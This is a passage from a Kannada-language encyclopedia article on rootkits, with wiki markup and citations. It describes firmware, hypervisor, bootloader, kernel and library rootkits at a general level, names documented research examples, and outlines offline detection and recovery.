ಒಳನುಗ್ಗುವ ಪ್ರಯತ್ನಗಳಂತಹವುಗಳನ್ನು ಕಂಡುಕೊಳ್ಳಲು ಕೆಲವು ಸಾಫ್ಟ್‌ವೇರ್‌ಗಳು ಮೂರನೆಯ ಪಕ್ಷದ ಸ್ಕ್ಯಾನರ್‌ಗಳಿಂದ ಅಡಗಿಕೊಳ್ಳಲು ರೂಟ್‌ಕಿಟ್‌ ತಂತ್ರಜ್ಞಾನಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳುತ್ತವೆ. ಕೆಲವು ಅನುಕರಣೆ ಸಾಫ್ಟ್‌ವೇರ್‌ಗಳು ಮತ್ತು ಭದ್ರತಾ ಸಾಫ್ಟ್‌ವೇರ್‌ಗಳು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಬಳಸುವುದಕ್ಕಾಗಿ ಪ್ರಸಿದ್ಧವಾಗಿವೆ. [[ಆಲ್ಕೋಹಾಲ್ 120%]] ಮತ್ತು [[ಡೆಮನ್ ಟೂಲ್ಸ್]] ಇವೆರೆಡೂ ಪ್ರತಿಕೂಲವಲ್ಲದ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳ ಬಳಕೆಯ ಕುರಿತಂತೆ ವಾಣಿಜ್ಯ ಉದಾಹರಣೆಗಳಾಗಿವೆ. [[ಕ್ಯಾಸ್ಪರಸ್ಕಿ]] ಆ‍ಯ್‌೦ಟಿವೈರಸ್‌ ಸಾಫ್ಟ್‌ವೇರ್‌ ಸಹಾ ದುರುದ್ದೇಶಪೂರಿತವಾದ ವೈರಸ್ ಕ್ರಿಯೆಗಳಿಂದ ರಕ್ಷಿಸಿಕೊಳ್ಳಲು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳಿಗೆ ಸಮಾನವಾದಂತಹ ಕೆಲವು ತಂತ್ರಗಳನ್ನು ಬಳಸುತ್ತದೆ. ಅದು ತನ್ನದೇ ಆದ ಡ್ರೈವರ್‌ಗಳನ್ನು ಲೋಡ್ ಮಾಡುವ ಮೂಲಕ ಸಿಸ್ಟಮ್ ಕಾರ್ಯಗಳಿಗೆ ತಡೆಯೊಡ್ಡುತ್ತದೆ ಮತ್ತು ನಂತರ ಇತರ ಯಾವುದೇ ಪ್ರಕ್ರಿಯೆಗಳು ಅದಕ್ಕೇ ತೊಂದರೆ ಮಾಡುವುದರಿಂದ ತಡೆಯುತ್ತದೆ. ಇದರ ಪ್ರಕ್ರಿಯೆಗಳನ್ನು ಅಡಗಿಸಿಡುವುದಿಲ್ಲವಾದರೂ, ಅಂತಹ ಪ್ರಕ್ರಿಯೆಗಳನ್ನು ಪ್ರಮಾಣಿತ ರೀತಿಯ ಮೂಲಕ ಕೊನೆಗಾಣಿಸಲು ಸಾಧ್ಯವಾಗುವುದಿಲ್ಲ. ಈಗ ರೂಟ್‌ಕಿಟ್‌ ಎಂಬ ಪದದ ಅರ್ಥವನ್ನು ಕೃತ್ರಿಮವಾದ ತಂತ್ರಗಳಿಗೆ ಹಾಗೂ ಪದ್ಧತಿಗಳಿಗೆ ಸರಳವಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ.<ref>{{cite web|url=http://www.windowsitpro.com/Article/ArticleID/46266/46266.html|title=Unearthing Root Kits|author=[[Mark Russinovich]]|publisher=Windows IT Pro|month=June | year=2005}}</ref> == ವಿಧಗಳು == ಒಟ್ಟು ಸುಮಾರು ಆರು ರೀತಿಯ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಬಳಕೆಯಲ್ಲಿವೆ: [[ಫರ್ಮ್‌ವೇರ್‌]], [[ಹೈಪರ್‌ವೈಸರ್‌]], [[ಬೂಟ್ ಲೀಡರ್‌]], [[ಕರ್ನಲ್‌]], [[ಲೈಬ್ರರಿ]], and [[ಅಪ್ಲಿಕೇಶನ್‌]] ಮಟ್ಟದ ಕಿಟ್‌ಗಳು. === ಹಾರ್ಡ್‌ವೇರ್‌/ಫರ್ಮ್‌ವೇರ್‌ === ಒಂದು ಫರ್ಮ್‌ವೇರ್‌ ರೂಟ್‌ಕಿಟ್‌ ಒಂದು ಪಟ್ಟುಬಿಡದ ಮಾಲ್‌ವೇರ್‌ ಇಮೇಜನ್ನು ರಚಿಸಲು ಡಿವೈಸ್ ಅಥವಾ ಪ್ಲ್ಯಾಟ್‌ಫಾರ್ಮ್ [[ಫರ್ಮ್‌ವೇರ್‌]] ಅನ್ನು ಬಳಸುತ್ತದೆ. ಆ ರೂಟ್‌ಕಿಟ್‌ ಫರ್ಮ್‌ವೇರ್‌ನಲ್ಲಿ ಸಫಲವಾಗಿ ಅಡಗಬಲ್ಲುದು, ಏಕೆಂದರೆ ಫರ್ಮ್‌ವೇರ್‌ ಅನ್ನು ಹೆಚ್ಚಾಗಿ ಕೋಡ್ ಇಂಟೆಗ್ರಿಟಿಗಾಗಿ ಪರಿಶೀಲಿಸಲಾಗುವುದಿಲ್ಲ. ಎಸಿಪಿಐ ಫರ್ಮ್‌ವೇರ್‌ ರುಟೀನ್‌ಗಳು<ref>‌[http://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-Heasman.pdf ಇಂಪ್ಲಿಮೆಂಟಿಂಗ್ ಆ‍ಯ್೦ಡ್ ಡಿಟೆಕ್ಟಿಂಗ್ ಆ‍ಯ್‌ನ್‌ ಎಸಿಪಿಐ ರೂಟ್‌ಕಿಟ್‌],ಜಾನ್‌ ಹಿಸ್‌ಮನ್ ಬ್ಲ್ಯಾಕ್‌ ಹ್ಯಾಟ್‌ ಫೆಡರಲ್‌, ೨೦೦೬ರಲ್ಲಿ ಪ್ರಸ್ತುತಪಡಿಸಿದರು.</ref> ಮತ್ತು ಪಿಸಿಐ ವಿಸ್ತರಣೆ ಕಾರ್ಡ್ ರೋಮ್ ನಲ್ಲಿ ಹೀಗೆ ಎರಡರಲ್ಲಿಯೂ ಜಾನ್ ಹೀಸ್ಮನ್ ಫರ್ಮ್‌ವೇರ್‌ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳ ಜೀವಿಸುವ ಶಕ್ತಿಯನ್ನು ಪ್ರದರ್ಶಿಸಿ ತೋರಿಸಿದ.<ref>[http://www.ngssoftware.com/research/papers/Implementing_And_Detecting_A_PCI_Rootkit.pdf ಇಂಪ್ಲಿಮೆಂಟಿಂಗ್ ಆ‍ಯ್೦ಡ್ ಡಿಟೆಕ್ಟಿಂಗ್ ಎ ಪಿಸಿಐ ರೂಟ್‌ಕಿಟ್‌] {{Webarchive|url=https://web.archive.org/web/20091229064600/http://www.ngssoftware.com/research/papers/Implementing_And_Detecting_A_PCI_Rootkit.pdf |date=2009-12-29 }} ಜಾನ್‌ ಹಿಸ್‌ಮನ್‌ ನವೆಂಬರ್ ೧೫, ೨೦೦೬.</ref> ಅಕ್ಟೋಬರ್ ೨೦೦೮ ರಲ್ಲಿ ಬಂದ ಮಾಧ್ಯಮ ವರದಿಯೊಂದು, ಯೂರೋಪಿಯನ್ ಕ್ರೆಡಿಟ್ ಕಾರ್ಡ್ ಓದುವ ಯಂತ್ರಗಳನ್ನು ಇನ್ನೂ ಸಪ್ಲೈ ಚೈನ್‌ನಲ್ಲಿ ಇರುವಾಗಲೇ ಅಪರಾಧಿಗಳು ಕಳ್ಳತನದಿಂದ ಬದಲಾಯಿಸಿದ್ದಾರೆ, ಮತ್ತು ಈ ಸಾಧನಗಳು ಗ್ರಾಹಕರ ಕ್ರೆಡಿಟ್ ಕಾರ್ಡ್ ವಿವರಗಳನ್ನು ಪಡೆದುಕೊಳ್ಳುತ್ತಿವೆ ಮತ್ತು ಅವುಗಳನ್ನು ನಂತರದಲ್ಲಿ ಮೊಬೈಲ್ ಫೋನ್ ನೆಟ್‌ವರ್ಕ್ ಮೂಲಕ ಅಂತರರಾಷ್ಟ್ರೀಯ ಅಪರಾಧಿಗಳಿಗೆ ರವಾನೆ ಮಾಡಲಾಗುತ್ತದೆ ಎಂದು ಹೇಳಿತ್ತು.<ref>{{cite web|url=http://www.theregister.co.uk/2008/10/10/organized_crime_doctors_chip_and_pin_machines/|title=Organized crime tampers with European card swipe devices: Customer data beamed overseas|author=Austin Modine|date=10 October 2008|accessdate=2008-10-13|publisher=The Register}}</ref> ಮಾರ್ಚ್ ೨೦೦೯ ರಲ್ಲಿ, ಸಂಶೋಧಕರಾದ ಅಲ್ಫ್ರೆಡೋ ಓರ್ಟೆಗಾ ಮತ್ತು ಅನಿಬಾಲ್ ಸ್ಯಾಕೋ<ref>{{Cite web | last = Sacco | first = Anibal | coauthors = Alfredo Ortéga | title = Persistent BIOS infection | work = [[Core Security Technologies]] | accessdate = 2009-10-06 | url = http://www.coresecurity.com/content/Persistent-Bios-Infection | archive-date = 2012-05-12 | archive-url = https://web.archive.org/web/20120512000730/http://coresecurity.com/content/Persistent-Bios-Infection | url-status = dead }}</ref> ಪಿಸಿಗಳಿಗಾಗಿನ ಹಾರ್ಡ್‌ಡಿಸ್ಕ್ ಬದಲಾವಣೆ ಮತ್ತು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ಮರು ಸ್ಥಾಪನೆ ಮಾಡಲು ಸಾಧ್ಯವಿರುವ ಬಿಐಒಸ್-ಮಟ್ಟದ ರೂಟ್‌ಕಿಟ್‌ ವಿವರಗಳನ್ನು ಪ್ರಕಟಿಸಿದರು.<ref>{{cite web|url=http://www.theregister.co.uk/2009/03/24/persistent_bios_rootkits/|title=Newfangled rootkits survive hard disk wiping|author=Dan Goodin|date=24 March 2009|accessdate=2009-03-25|publisher=The Register}}</ref> ಒಂದು ಸಂಪೂರ್ಣ ವಿವರಗಳನ್ನು ಹೊಂದಿರುವ ಲೇಖನವು ನಂತರದಲ್ಲಿ ಫ್ರಾಕ್ ಮ್ಯಾಗಜಿನ್‌ನಲ್ಲಿ #೬೬ ಪ್ರಕಟಗೊಂಡಿತು. ಈ ಸಂಶೋಧನೆಯ ಕೆಲವು ತಿಂಗಳುಗಳ ನಂತರದಲ್ಲಿ ಅವರು ಬ್ಲಾಕ್ ಹ್ಯಾಟ್ ವೇಗಾಸ್ ಸೆಕ್ಯುರಿಟಿ ಕಾನ್ಫರೆನ್ಸ್‌ನಲ್ಲಿ ಸಂಬಂಧಿತ ದಾಳಿಯನ್ನು ಚರ್ಚಿಸುವ ಹೊಸದೊಂದು ಸಂಶೋಧನೆಯನ್ನು ಪ್ರಸ್ತುತಪಡಿಸಿದರು. ಹೆಚ್ಚಿನ ಲ್ಯಾಪ್‌ಟಾಪ್ ಬಯೋಸ್‌ಗಳು ಕಂಪ್ಯೂಟ್ರೇಸ್ ಲೋಜ್ಯಾಕ್ ಎಂಬ ಹೆಸರಿನ "ಕಾನೂನಿ" ರೂಟ್‌ಕಿಟ್‌ ಅನ್ನು ಮೊದಲೇ ಸ್ಥಾಪನೆ ಮಾಡಲ್ಪಟ್ಟು ಬಂದಿರುತ್ತವೆ ಎಂಬುದನ್ನು ಅವರು ಕಂಡುಕೊಂಡರು. ಇದೊಂದು ಕಳ್ಳತನವನ್ನು ನಿರೋಧಿಸುವ ತಂತ್ರಜ್ಞಾನ ಪದ್ಧತಿಯಾಗಿದ್ದು, ಸಂಶೋಧಕರ ಪ್ರಕಾರ<ref>{{Cite web | last = Sacco | first = Anibal | coauthors = Alfredo Ortéga | title = Deactivate the Rootkit | work = [[Exploiting Stuff]] | url = http://exploiting.wordpress.com/2009/09/11/138/ }}</ref> ಇದನ್ನು ಸಹಾ ದಾಳಿಕಾರನು ತನ್ನ ದುಷ್ಟ ಕಾರ್ಯಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ.<ref>{{Cite web | last = Sacco | first = Anibal | coauthors = Alfredo Ortéga | title = Deactivate the Rootkit | work = [[Core Security Technologies]] | url = http://www.coresecurity.com/content/Deactivate-the-Rootkit | access-date = 2010-08-06 | archive-date = 2011-07-08 | archive-url = https://web.archive.org/web/20110708193041/http://www.coresecurity.com/content/Deactivate-the-Rootkit | url-status = dead }}</ref> === ಹೈಪರ್‌ವೈಸರ್‌ ಮಟ್ಟ === ಈ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಯಂತ್ರದ ಬೂಟ್ ಅನುಕ್ರಮವನ್ನು ಬದಲಿಸುವ ಮತ್ತು ತಮ್ಮನ್ನು ಮೂಲ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ತಾವೇ [[ಹೈಪರ್‌ವೈಸರ್‌]] ಆಗಿ ಲೋಡ್ ಆಗುವ ಮೂಲಕ ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತವೆ. [[ಇಂಟೆಲ್ VT]] ಅಥವಾ [[AMD-V]] ಗಳಂತಹ ಹಾರ್ಡ್‌ವೇರ್‌ ವೈಶಿಷ್ಟ್ಯಗಳನ್ನು ದುರ್ಬಳಕೆ ಮಾಡಿಕೊಂಡು ರೂಟ್‌ಕಿಟ್‌ ಮೂಲ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ಅನ್ನು [[ವರ್ಚುಅಲ್ ಮಶಿನ್]] ಆಗಿ ಲೋಡ್ ಮಾಡಬಲ್ಲುದು, ಮತ್ತು ಆ ಮೂಲಕ ಮೂಲ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್ ಮಾಡಿದ ಎಲ್ಲ ಹಾರ್ಡ್‌ವೇರ್‌ ಕಾಲ್‌ಗಳನ್ನೂ ಪ್ರತಿಬಂಧಿಸುತ್ತದೆ. [[ಮೈಕ್ರೋಸಾಫ್ಟ್‌]] ಮತ್ತು [[ಮಿಚಿಗನ್ ವಿಶ್ವವಿದ್ಯಾಲಯದವ]] ಸಂಶೋಧಕರು ಜಂಟಿಯಾಗಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಿರುವ "[[ಸಬ್‌ವರ್ಟ್]]" ಪ್ರಯೋಗಾಲಯದ ರೂಟ್‌ಕಿಟ್‌ ಒಂದು , ವರ್ಚುಅಲ್ ಮಶಿನ್ ಆಧಾರಿತ ರೂಟ್‌ಕಿಟ್‌ಗೆ (VMBR) ಒಂದು ಶೈಕ್ಷಣಿಕ ಉದಾಹರಣೆಯಾಗಿದೆ,<ref>{{cite web|url=http://www.eecs.umich.edu/virtual/papers/king06.pdf|format=PDF|accessdate=2008-09-15|title=SubVirt: Implementing malware with virtual machines|date=3 April 2006|publisher=[[University of Michigan]], [[Microsoft]]}}</ref> ಮತ್ತು [[ಬ್ಲೂ ಪಿಲ್]] ಇನ್ನೊಂದು. ೨೦೦೯ ರಲ್ಲಿ, ಮೈಕ್ರೋಸಾಫ್ಟ್‌ ಮತ್ತು [[ನಾರ್ತ್ ಕರೋಲಿನಾ ಸ್ಟೇಟ್ ವಿಶ್ವವಿದ್ಯಾಲಯ]] ದ ಸಂಶೋಧಕರು ಹುಕ್‌ಸೇಫ್ ಹೆಸರಿನ ಕರ್ನಲ್‌-ಮೋಡ್ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳ ವಿರುದ್ಧ ವಿಶಿಷ್ಟ ರಕ್ಷಣೆ ಒದಗಿಸುವ ಒಂದು ಹೈಪರ್‌ವೈಸರ್‌-ಸ್ತರದ ಆ‍ಯ್‌೦ಟಿ-ರೂಟ್‌ಕಿಟ್‌ ಅನ್ನು ಪ್ರದರ್ಶಿಸಿದರು. (ಮುಂದಿನ ಭಾಗ ನೋಡಿ).<ref>{{cite paper|url=http://research.microsoft.com/en-us/um/people/wdcui/papers/hooksafe-ccs09.pdf|title=Countering Kernel Rootkits with Lightweight Hook Protection|date=11 August 2009|accessdate=2009-11-11|publisher=[[Microsoft]]/[[North Carolina State University]]|author=Zhi Wang, Xuxian Jiang, Weidong Cui & Peng Ning}}</ref> === ಬೂಟ್ ಲೀಡರ್‌ ಮಟ್ಟ === ಈ ಥೀಮ್‌ನದೇ ಒಂದು ವಿಧವಾದ '''ಬೂಟ್‌ಕಿಟ್''' ಅನ್ನು ಪ್ರಮುಖವಾಗಿ [[ಫುಲ್ ಡಿಸ್ಕ್ ಎನ್‌ಕ್ರಿಪ್ಷನ್]] ಸಿಸ್ಟಮ್‌ಗಳ ವಿರುದ್ಧದ ದಾಳಿಯಲ್ಲಿ (ಇವಿಲ್ ಮೇಯ್ಡ್ ಅಟ್ಯಾಕ್<ref>{{cite web|url=http://www.schneier.com/blog/archives/2009/10/evil_maid_attac.html|author=Bruce Schneider|title="Evil Maid" Attacks on Encrypted Hard Drives|date=23 October 2009|accessdate=2009-11-07}}</ref>) ಬಳಸುತ್ತಾರೆ. A ಬೂಟ್‌ಕಿಟ್ ಕಾನೂನೀ [[ಬೂಟ್ ಲೀಡರ್‌]] ಅನ್ನು ದಾಳಿಕಾರ ನಿಯಂತ್ರಿಸುತ್ತಿರುವುದರೊಂದಿಗೆ ಬದಲಿಸುತ್ತದೆ; ವಿಶಿಷ್ಟವಾಗಿ ಕರ್ನಲ್ ಲೋಡ್ ಮಾಡಿದಾಗ ಮಾಲ್‌ವೇರ್‌ ಲೋಡರ್ ಪರಿವರ್ತನೆ ಸಮಯದಿಂದ [[ರಕ್ಷಿತ ಮೋಡ್‌|ರಕ್ಷಿತ ಮೋಡ್‌ವರೆಗೂ]] ಉಳಿದುಕೊಳ್ಳುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿದೆ. ಉದಾಹರಣೆಗೆ, "ಸ್ಟೋನ್ಡ್ ಬೂಟ್‌ಕಿಟ್"<ref>{{cite web|url=http://www.stoned-vienna.com/|accessdate=2009-11-07|date=19 October 2009|title=Stoned Bootkit|publisher=Insecurity Systems|author=Peter Kleissner}}</ref> ಒಂದು ಸಿಸ್ಟಮ್ ಅನ್ನು ನಾಶಗೊಳಿಸಲು ಒಂದು ನಿಯಂತ್ರಿತ [[ಬೂಟ್ ಲೀಡರ್‌]] ಅನ್ನು ಬಳಸುತ್ತದೆ, ನಂತರದಲ್ಲಿ ದಾಳಿಗೊಳಗಾದವರು ಆ ಕಂಪ್ಯೂಟರನ್ನು ಬಳಸಿದಾಗ ಮಾಹಿತಿಗಳನ್ನು ಮತ್ತು ಕೀ ಹೊರತೆಗೆಯಲು ಬಳಸಲಾಗುತ್ತದೆ. ಒಂದು ಬೂಟ್ ಮಾರ್ಗವನ್ನು ರಕ್ಷಿಸಲು ರೂಪಿಸಲಾದ [[ಟ್ರಸ್ಟೆಡ್ ಪ್ಲ್ಯಾಟ್‌ಫಾರ್ಮ್ ಮಾಡ್ಯೂಲ್]] ಯಂತ್ರಗಳ ಅನಧಿಕೃತ ಭೌತಿಕ ನಿರ್ವಹಣೆಯನ್ನು (ಪೋರ್ಟಬಲ್ ಯಂತ್ರಗಳಿಗೆ ಒಂದು ನಿರ್ಧಿಷ್ಟವಾದ ಸಮಸ್ಯೆ) ತಡೆಯುವುದಲ್ಲದೇ, ಇದು ಇಂತಹ ದಾಳಿಗಳಿಗೆ ಗೊತ್ತಿರುವ ಒಂದೇ ಒಂದು ರಕ್ಷಣಾ ಮಾರ್ಗ. === ಕರ್ನಲ್‌ ಮಟ್ಟ === ಕರ್ನಲ್‌-ಮಟ್ಟದ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಹೆಚ್ಚಿನ ಕೋಡ್‌ಗಳನ್ನು ಸೇರಿಸಬಹುದು ಅಥವಾ [[ಕರ್ನಲ್‌]] ಮತ್ತು ಸಂಬಂಧಿತ [[ಡಿವೈಸ್ ಡ್ರೈವರ್‌|ಡಿವೈಸ್ ಡ್ರೈವರ್‌ಗಳನ್ನು]] ಸೇರಿ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌‌ನ ಕೆಲ ಭಾಗಗಳನ್ನು ಬದಲಿಸಬಹುದು. ಹೆಚ್ಚಿನ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌‌ಗಳು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ಗಳಂತೆಯೇ ಕೆಲಸ ಮಾಡುವ ಸೌಲಭ್ಯವನ್ನು ಹೊಂದಿರುವ [[ಕರ್ನಲ್‌-ಮೋಡ್]] ಡಿವೈಸ್ ಡ್ರೈವರ್‌ಗಳನ್ನು ಬೆಂಬಲಿಸುತ್ತವೆ.<ref>೬೪-ಬಿಟ್ ‌ವಿಂಡೋವ್ಸ್ ಎಕ್ಸ್‌ಪಿಯ ಆವೃತ್ತಿ ಮತ್ತು ಸರ್ವರ್ ೨೦೦೮ಗಳು ಗುರುತಿಸಬಹುದಾದ ಅಪವಾದಗಳಗಿವೆ.{{cite web|url=http://www.microsoft.com/whdc/winlogo/drvsign/drvsign.mspx|title=Driver Signing Requirements for Windows|publisher=[[Microsoft]]|accessdate=2008-07-06}}</ref> ಅದೇ ರೀತಿ, ಅನೇಕ ಕರ್ನಲ್‌ ಮೋಡ್ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಡಿವೈಸ್ ಡ್ರೈವರ್‌ಗಳು ಅಥವಾ ಲೋಡಬಲ್ ಮಾಡ್ಯೂಲ್‌ಗಳಾಗಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾಗಿರುತ್ತದೆ, ಅಂದರೆ [[ಲಿನಕ್ಸ್‌]] ನಲ್ಲಿನ [[ಲೋಡಬಲ್ ಕರ್ನಲ್‌ ಮಾಡ್ಯೂಲ್‌ಗಳು]] ಅಥವಾ [[ಮೈಕ್ರೋಸಾಫ್ಟ್‌ ವಿಂಡೋಸ್‌]] ನಲ್ಲಿನ [[ಡಿವೈಸ್ ಡ್ರೈವರ್‌|ಡಿವೈಸ್ ಡ್ರೈವರ್‌ಗಳು]]. ಈ ಪ್ರಕಾರದ ರೂಟ್‌ಕಿಟ್‌ ತುಂಬ ಅಪಾಯಕಾರಿ ಎಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ ಏಕೆಂದರೆ ಈ ರೂಟ್‌ಕಿಟ್‌ ಯಾವುದೇ ವೈಶಿಷ್ಟ್ಯಗಳನ್ನು ಬಳಸಿದರೂ ಅದು ಕೋಡ್‌ಗೆ ಅನಿಯಂತ್ರಿತ ಭದ್ರತೆ ಪ್ರವೇಶವನ್ನು ಪಡೆಯಬಹುದಾಗಿದೆ. ಕರ್ನಲ್‌ ಮಟ್ಟದಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತಿರುವ ಯಾವುದೇ ಕೋಡ್‌ನಲ್ಲಿ ಬಗ್‌ಗಳಿದ್ದರೆ ಅದು ಇಡೀ ಸಿಸ್ಟಮ್‌ನ ಸ್ಥಿರತೆಯ ಮೇಲೆ ಗಂಭೀರವಾದ ಪರಿಣಾಮವನ್ನು ಉಂಟುಮಾಡಬಹುದು. ಮೊದಲ ಮತ್ತು ಮೂಲ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಕರ್ನಲ್‌ ಮಟ್ಟದಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಲಿಲ್ಲ, ಆದರೆ ಅವುಗಳು ಬಳಕೆದಾರರ ಮಟ್ಟದಲ್ಲಿ ಪ್ರಮಾಣಿತ ಪ್ರೋಗ್ರಾಮ್‌ಗಳ ಬದಲಿಯಾಗಿದ್ದವು ಅಷ್ಟೇ. ಮೊತ್ತ ಮೊದಲ ಪ್ರಸಿದ್ಧವಾದ ಕರ್ನಲ್‌ ರೂಟ್‌ಕಿಟ್‌ ಅನ್ನು [[ವಿಂಡೋಸ್ NT 4.0]] ಗಾಗಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾಯಿತು ಮತ್ತು ಅದನ್ನು ೧೯೯೦ ರ ದಶಕದ ಮಧ್ಯದಲ್ಲಿ [[ಗ್ರೆಗ್ ಹಾಗ್ಲಂಡ್]] ಎನ್ನುವವ [[ಫ್ರಾಕ್]] [http://phrack.org/issues.html?issue=55&amp;id=5 ಸಂಚಿಕೆ 55] ರಲ್ಲಿ ಬಿಡುಗಡೆಗೊಳಿಸಿದ.<ref>[[ಅಲಿಸಾ ಸೆವ್ಚೆಂಕೊ|ಅಲಿಸಾ ಸೆವ್ಚೆಂಕೊರಿಂದ]] [http://www.net-security.org/article.php?id=1173&amp;p=2 ರೂಟ್‌ಕಿಟ್‌ ಎವೊಲ್ಯುಶನ್‌](೧ ಸೆಪ್ಟೆಂಬರ್ ೨೦೦೮), [[ಆ‍ಯ್‌೦ಟೋನ್ ಚುವಾಕಿನ್]]‌ರಿಂದ [http://www.megasecurity.org/papers/Rootkits.pdf ಆ‍ಯ್‌ನ್‌ ಓವರ್‌ವೀವ್ ಆಫ್ ಯುನಿಕ್ಸ್‌ ರೂ‍ಟ್‌ಕಿಟ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20110725214743/http://www.megasecurity.org/papers/Rootkits.pdf |date=2011-07-25 }}(ಫೆಬ್ರವರಿ ೨೦೦೩)</ref> ವಿಶೇಷವಾಗಿ ಕರ್ನಲ್‌ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಕಂಡುಹಿಡಿಯುವುದು ಮತ್ತು ತೆಗೆದುಹಾಕುವುದು ಕಷ್ಟದ ಕೆಲಸ, ಏಕೆಂದರೆ ಅವು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ನದೇ [[ಭದ್ರತೆಯ ಮಟ್ಟ|ಭದ್ರತೆಯ ಮಟ್ಟದಲ್ಲಿ]] ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತಿರುತ್ತವೆ, ಮತ್ತು ಆ ಕಾರಣಕ್ಕಾಗಿ ಅವು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ಮಾಡುವ ಯಾವುದೇ ಕಾರ್ಯದಲ್ಲಿ ಅಡ್ಡಿಪಡಿಸಬಲ್ಲವು ಅಥವಾ ನಾಶಪಡಿಸಬಲ್ಲವು. ಹೀಗೆ ದಾಳಿಗೊಳಗಾದ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿನ [[ಆ‍ಯ್‌೦ಟಿವೈರಸ್‌ ಸಾಫ್ಟ್‌ವೇರ್‌]] ನಂತಹ ಯಾವುದೇ ಸಾಫ್ಟ್‌ವೇರ್‌ಅನ್ನು ಸಹಾ ನಾಶಗೊಳಿಸಬಹುದಾಗಿದೆ. ಇಂತಹ ಸಂದರ್ಭಗಳಲ್ಲಿ, ಸಿಸ್ಟಮ್‌ನ ಯಾವುದೇ ಭಾಗವನ್ನೂ ನಂಬಲು ಸಾಧ್ಯವಿಲ್ಲ. ಇಂತಹ ಸಂದರ್ಭದಲ್ಲಿ ಮಾಡಬಹುದಾದ ಒಂದು ಕಾರ್ಯವೆಂದರೆ ಎರಡನೆಯ ’ವಿಶ್ವಾಸಾರ್ಹ’ ಸಿಸ್ಟಮ್‌ನಿಂದ [[ಲೈವ್ ಸಿಡಿ|ಲೈವ್ ಸಿಡಿಯಂತಹ]] ತೆಗೆಯಬಲ್ಲ ಮೀಡಿಯಾವನ್ನು ಬಳಸಿ ಬೂಟಿಂಗ್ ಮಾಡುವ ಮೂಲಕ ಆಫ್‌ಲೈನ್ ಸಿಸ್ಟಮ್ ವಿಶ್ಲೇಷಣೆ ಮಾಡುವುದು. ತನಿಖೆ ಮತ್ತು ರೂಟ್‌ಕಿಟ್‌ ತೆಗೆಯುವ ಚಟುವಟಿಕೆಗಳನ್ನು ಇನ್ನೊಂದು ಭೌತಿಕ ಸಿಸ್ಟಮ್‌ನ ಅಗತ್ಯವಿಲ್ಲದೇ ಒಂದು ವಿಶ್ವಾಸಾರ್ಹ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌‌ನಿಂದ ಸುರಕ್ಷಿತವಾಗಿ ಮಾಡಬಹುದು, ಏಕೆಂದರೆ ದಾಳಿಗೊಳಗಾದ ಸಿಸ್ಟಮ್‌ನ ಹಾರ್ಡ್‌ಡ್ರೈವ್ ಅನ್ನು, ವಿಶ್ವಾಸಾರ್ಹವಲ್ಲದ ವಾಲ್ಯುಮ್‌ನಲ್ಲಿ ಯಾವುದೇ ಕೆಲಸ ಮಾಡದೇ, ಎರಡನೇ ಮೂಲವಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದು. ಪರ್ಯಾಯವಾಗಿ, ಆ ವಾಲ್ಯುಮ್‌ ಅನ್ನು ಫಾರ್ಮ್ಯಾ‍ಟ್ ಮಾಡಬಹುದು ಮತ್ತು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ಅನ್ನು ವಿಶ್ವಾಸಾರ್ಹ ಮೀಡಿಯಾದಿಂದ ರಿ-ಇನ್‌ಸ್ಟಾಲ್ ಮಾಡಬಹುದು. === ಲೈಬ್ರರಿ ಮಟ್ಟ === ಲೈಬ್ರರಿ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಸಾಮಾನ್ಯವಾಗಿ [[ಸಿಸ್ಟಮ್ ಕಾಲ್‌|ಸಿಸ್ಟಮ್ ಕಾಲ್‌ಗಳನ್ನು]] ದಾಳಿಕಾರರಿಂದ ಮಾಹಿತಿಯನ್ನು ಅಡಗಿಸಿಡುವ ಆವೃತ್ತಿಗಳಿಂದ [[ಪ್ಯಾಚ್]], [[ಹುಕ್]], ಅಥವಾ ಬದಲಾವಣೆ ಮಾಡಬಹುದು. ಅವುಗಳನ್ನು, ಕನಿಷ್ಟ ಸೈದ್ಧಾಂತಿಕವಾಗಿ, ಕೋಡ್ ಲೈಬ್ರೆರಿಗಳನ್ನು (ವಿಂಡೋಸ್ ವರ್ಲ್ಡ್‌ನಲ್ಲಿ, ೦}DLL ಎಂಬ ಶಬ್ದ 